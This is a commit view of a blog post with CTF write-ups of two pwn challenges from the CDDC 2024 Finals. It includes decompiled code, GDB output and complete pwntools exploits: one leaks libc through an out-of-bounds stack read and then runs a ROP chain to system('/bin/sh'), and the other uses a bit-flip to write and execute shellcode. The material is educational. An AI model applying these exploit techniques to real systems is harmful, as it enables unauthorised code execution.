Skip to content

Commit 88fff7a

Browse files
committed
cddc 2024 writeup
1 parent 4d65d35 commit 88fff7a

File tree

2 files changed

+370
-0
lines changed

2 files changed

+370
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,370 @@
1+
---
2+
title: Cyber Defender's Discovery Camp 2024 Finals
3+
description: brief writeups on some of the challenges solved
4+
date: 2024-06-14 00:00:00 +0800
5+
categories: [Writeups]
6+
img_path: /assets/posts/2024-06-14-cddc-2024-finals/
7+
tags: [pwn]
8+
toc: True
9+
---
10+
11+
I competed with NUS Greyhats in [BrainHack CDDC 2024 Finals](https://www.dstabrainhack.com/activities/cyber-defenders-discovery-camp) and we came out first ✌️
12+
13+
![nus greyhats!](greyhats.jpg)
14+
_nus greyhats at cddc!_
15+
16+
Here are some brief writeups on some of the tasks I solved/attempted
17+
18+
## Pwn - SecretNote
19+
20+
From reversing the program in IDA, we can get a nice looking source code similar to this:
21+
22+
```c
23+
int main()
24+
{
25+
int opt;
26+
unsigned int pg;
27+
int i;
28+
struct chunk s[32];
29+
unsigned __int64 canary;
30+
31+
while ( &s[24].buf[128] != (char *)&s[1] ) // seems to be allocating space on stack
32+
;
33+
canary = __readfsqword(0x28u);
34+
print_stuff();
35+
setbuf_stuff();
36+
memset(s, 0, sizeof(s));
37+
opt = 0;
38+
pg = 0;
39+
for ( i = 0; i <= 31; ++i )
40+
{
41+
printf("[>] Input your name : ");
42+
read(0, &s[i], 0x10uLL);
43+
if ( !strcmp(s[i].name, "CDDC\n") )
44+
{
45+
print_menu();
46+
scanf("%d", &opt);
47+
if ( opt == 1 )
48+
{
49+
printf("[>] Read page : ");
50+
scanf("%d", &pg);
51+
printf("[*] %d page contents\n", pg);
52+
printf("[*] Name: %s\n", s[pg].name);
53+
printf("[*] Note: %s\n", s[pg].buf);
54+
}
55+
else if ( opt == 2 )
56+
{
57+
printf("[>] Edit page : ");
58+
scanf("%d", &pg);
59+
printf("[>] New note : ");
60+
read(0, s[pg].buf, (unsigned int)nbytes);
61+
}
62+
}
63+
else
64+
{
65+
printf("[>] Input your note : ");
66+
read(0, s[i].buf, (unsigned int)nbytes);
67+
puts(s[i].name);
68+
puts(s[i].buf);
69+
}
70+
}
71+
return 0LL;
72+
}
73+
```
74+
75+
76+
1. If our name is `CDDC`, we get access to an admin panel that allows us to read and write to some pages.
77+
2. The program reads an index from the user to decide which page to `read` and `write` from. This index is **not bounded!!!**
78+
79+
Since we have an **out-of-bounds read** on the stack, we can trivially get a LIBC leak.
80+
81+
With the leak, we can write a ROP-chain with our **out-of-bounds write**.
82+
83+
### Getting a LIBC leak
84+
85+
In order to get a better understanding of where our OOB read/write is, we can use GDB to set a breakpoint at `0x4015A2` _(line 38 in the code block above)_.
86+
87+
There are `32` pages in total, so we can provide a page number of `32` to write to the 33rd page _(OOB write)_.
88+
89+
```
90+
[>] Input your name : CDDC
91+
[*] Welcome ADMIN!
92+
[*] Select Mode.
93+
[1] Read
94+
[2] Edit
95+
[>] 2
96+
[>] Edit page : 32
97+
```
98+
99+
In GDB, we will see this when we hit the breakpoint
100+
101+
```
102+
► 0x4015a2 call read@plt <read@plt>
103+
fd: 0x0 (/dev/pts/2)
104+
buf: 0x7fffffffd9f0 ◂— 0x1
105+
nbytes: 0x200
106+
```
107+
108+
We now know that we are able to do OOB read/write at `0x7fffffffd9f0`. We can inspect the adjacent memory to see if there are any important pointers for us.
109+
110+
```
111+
pwndbg> tele $rsi
112+
00:0000│ rsi rbp 0x7fffffffd9f0 ◂— 0x1
113+
01:0008│+008 0x7fffffffd9f8 —▸ 0x7ffff7dadd90 (__libc_start_call_main+128) ◂— mov edi, eax
114+
```
115+
116+
As you can see, **there is a libc address 8-bytes into our buffer**. We can leak this by writing exactly 8 bytes _(and thus overwriting the NULL terminators)_ to the chunks, and then printing from it.
117+
118+
This will result in the libc address being printed together with our 8-byte input.
119+
120+
```py
121+
from pwn import *
122+
123+
p = process("./SecretNote")
124+
125+
# write exactly 8 bytes to buffer
126+
p.sendlineafter(b"name : ", b"CDDC")
127+
p.sendlineafter(b"[>]", b"2")
128+
p.sendlineafter(b"page : ", b"32")
129+
p.sendafter(b"note : ", b"a"*8)
130+
131+
# read buffer (8 bytes + libc address)
132+
p.sendlineafter(b"name : ", b"CDDC")
133+
p.sendlineafter(b"[>]", b"1")
134+
p.sendlineafter(b"page : ", b"32")
135+
p.recvuntil(b"Note: aaaaaaaa")
136+
137+
# print leak
138+
libc_leak = unpack(p.recvline()[:-1], "all")
139+
log.info(f"libc leak @ {hex(libc_leak)}")
140+
# [*] libc leak @ 0x7d01d3064d90
141+
142+
p.interactive()
143+
```
144+
145+
### Identifying the remote LIBC
146+
147+
If we run the script above on the server, we can use the address `0x7d01d3064d90` to identify possible GLIBC versions that the server might be running.
148+
149+
By either using [libc.rip](https://libc.rip) or your own self-hosted [libc database](https://github.com/niklasb/libc-database/), we can search up the address and the symbol name to get the shell.
150+
151+
```sh
152+
❯ ./find __libc_start_main_ret 0x7d01d3064d90
153+
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu1_amd64)
154+
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.1_amd64)
155+
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.2_amd64)
156+
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.3_amd64)
157+
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.4_amd64)
158+
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.5_amd64)
159+
ubuntu-glibc (libc6_2.35-0ubuntu3.6_amd64)
160+
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.7_amd64)
161+
ubuntu-glibc (libc6_2.35-0ubuntu3.8_amd64)
162+
ubuntu-glibc (libc6_2.35-0ubuntu3_amd64)
163+
```
164+
165+
> Typically when you see a return address of `main` that is some offset of `libc_start_main`, it can be used to do a libc search with the symbol `__libc_start_main_ret`.
166+
{: .prompt-tip}
167+
168+
Finally, you can either download the **libc** and do `pwninit` or `patchelf` to patch the program to use the remote glibc.
169+
170+
This will ensure that your environment is almost identical to the server and that the offsets will be the same.
171+
172+
### Popping a SHELL
173+
174+
Conveniently, the libc address we just read from is also the return address of the `main` function! _(feel free to verify this yourself in GDB)_!
175+
176+
If we overwrite this with a ROP chain to call `system('/bin/sh')`, we win!
177+
178+
### Solution
179+
180+
```py
181+
from pwn import *
182+
183+
context.binary = elf = ELF("./SecretNote")
184+
libc = elf.libc
185+
p = process("./SecretNote")
186+
187+
# fill 8 bytes between start of page->buf and return address of main
188+
p.sendlineafter(b"name : ", b"CDDC")
189+
p.sendlineafter(b"[>]", b"2")
190+
p.sendlineafter(b"page : ", b"32")
191+
p.sendafter(b"note : ", b"a"*8)
192+
193+
# leak the return address of main
194+
p.sendlineafter(b"name : ", b"CDDC")
195+
p.sendlineafter(b"[>]", b"1")
196+
p.sendlineafter(b"page : ", b"32")
197+
p.recvline()
198+
p.recvline()
199+
libc.address = unpack(p.recvline()[18:][:-1], "all") - 171408
200+
201+
# we prepare our ROP chain to call system("/bin/sh")
202+
r = ROP(libc)
203+
r.call(r.ret)
204+
r.system(next(libc.search(b"/bin/sh")))
205+
206+
# we overwrite return address with our ROP chain
207+
p.sendlineafter(b"name : ", b"CDDC")
208+
p.sendlineafter(b"[>]", b"2")
209+
p.sendlineafter(b"page : ", b"32")
210+
p.sendafter(b"note : ", b"a"*8 + r.chain())
211+
212+
# we exhaust the remaining writes so the program will return
213+
for i in range(32-3):
214+
p.sendlineafter(b"name : ", b"asd")
215+
p.sendlineafter(b"note : ", b"asd")
216+
217+
p.interactive()
218+
```
219+
220+
## Pwn - Blind Butterfly
221+
222+
We are provided with the source code, but not the program _(i still don't understand the point of not releasing the program...)_.
223+
224+
```c
225+
// gcc -O2 -o butterfly butterfly.c -no-pie
226+
#include <stdio.h>
227+
#include <stdlib.h>
228+
#include <unistd.h>
229+
#include <stdint.h>
230+
#include <sys/mman.h>
231+
232+
void initialize(void) {
233+
setvbuf(stdin, 0, 2, 0);
234+
setvbuf(stdout, 0, 2, 0);
235+
setvbuf(stderr, 0, 2, 0);
236+
}
237+
238+
int main(int argc, char* argv[]) {
239+
240+
uint64_t addr, bits;
241+
char buf[256];
242+
243+
initialize();
244+
245+
printf("[+] Welcome to Bit Flip Service!\n");
246+
printf("[+] main address : %p\n", main);
247+
printf("[+] stack address : %p\n", &addr);
248+
249+
int ret = mprotect((void *)((uint64_t)(main) & 0xfffffffffffff000), 0x1000, 7);
250+
if (ret != 0) {
251+
perror("[-] mprotect error!\n");
252+
return -1;
253+
}
254+
255+
if ( fgets(buf, 0x100, stdin) != 0 ) {
256+
bits = strtol(buf, 0, 0);
257+
addr = (bits >> 3);
258+
*(char *)addr ^= 1<<(bits%8);
259+
printf("[+] flip : %p, %ld\n", (uint64_t *)addr, (bits%8));
260+
ret = 0;
261+
}
262+
else {
263+
perror("[-] Bad input!\n");
264+
ret = -1;
265+
}
266+
printf("[+] Good bye!\n");
267+
268+
return ret;
269+
}
270+
271+
```
272+
273+
There's only a few important points here
274+
275+
1. Program turns ELF `.text` to writable
276+
2. Program does a single bit flip on any specified address, then returns
277+
278+
### Expanding our primitive
279+
280+
Naturally, one bit-flip is an extremely cosntrained restriction.
281+
282+
Ideally, we should find a way to expand our primitives to do more bit-flips and eventually write shellcode.
283+
284+
They provided us with the command used to compile the program: `gcc -O2 -o butterfly butterfly.c -no-pie`.
285+
286+
I used the same command to compile my own program, to look through the disassembly and find any interesting bits that I can flip to do more things.
287+
288+
```
289+
.text:000000000040123D add rsp, 128h
290+
.text:0000000000401244 mov eax, r12d
291+
.text:0000000000401247 pop rbp
292+
.text:0000000000401248 pop r12
293+
.text:000000000040124A retn
294+
```
295+
296+
This is the function epilogue for the `main` function, where it destroys the stack frame of the function and return to it's caller.
297+
298+
If we are able to flip the bit to modify `add rsp, 0x128` into `add rsp, 0x28`, the stack frame will not be properly destroyed, and **the stack will be pointing to our buffer instead of the original return address**.
299+
300+
This allows us to do a ROP chain in our input buffer to loop back to `main`.
301+
302+
Here's a proof-of-concept:
303+
304+
```py
305+
from pwn import *
306+
307+
context.binary = elf = ELF("./butterfly")
308+
p = process("./butterfly")
309+
310+
payload = str((0x401241 << 3)+0x0).encode()
311+
payload += b"\x00"*32
312+
payload += p64(0x42424242) # program will crash at RIP=0x42424242
313+
314+
p.sendline(payload)
315+
```
316+
317+
### Getting a SHELL
318+
319+
After flipping the bit to allow us to repeatedly ROP back to `main`, we need to still find a way to get a shell.
320+
321+
We can simply use our infinite bit-flips to craft a shellcode in memory and execute it.
322+
323+
### Solution
324+
325+
This solve script works locally on my own compiled program.
326+
327+
In order to get it to work on remote, you will need to brute force to find:
328+
329+
1. `RET` gadget
330+
2. address of `add RSP, 0x128` instruction
331+
332+
```py
333+
from pwn import *
334+
335+
context.binary = elf = ELF("./butterfly")
336+
p = process("./butterfly")
337+
338+
# bitflip `add rsp, 0x128` -> `add rsp, 0x28`
339+
payload = str((0x401240 << 3)+0x8).encode()
340+
payload += b"\x00"*32
341+
payload += p64(0x40124a)
342+
payload += p64(elf.sym.main)
343+
p.sendline(payload)
344+
345+
346+
# craft our shellcode at 0x401e00
347+
sc = asm(shellcraft.sh())
348+
for i in range(len(sc)*8):
349+
if (sc[i//8] >> (i % 8)) & 0x1 == 0x1:
350+
payload2 = str(((0x401e00 + i//8) << 3)+((i % 8))).encode()
351+
payload2 += b"\x00"*32
352+
payload2 += p64(0x40124a)
353+
payload2 += p64(elf.sym.main)
354+
355+
356+
p.sendline(payload2)
357+
358+
# the bit flip here is irrelevant, we just want to
359+
# execute our shellcode!
360+
payload2 = str((0x401ff0 << 3)+((i % 8))).encode()
361+
payload2 += b"\x00"*32
362+
payload2 += p64(0x401e00)
363+
364+
p.sendline(payload2)
365+
366+
gdb.attach(p)
367+
368+
p.interactive()
369+
```
370+
Loading

0 commit comments

Comments
 (0)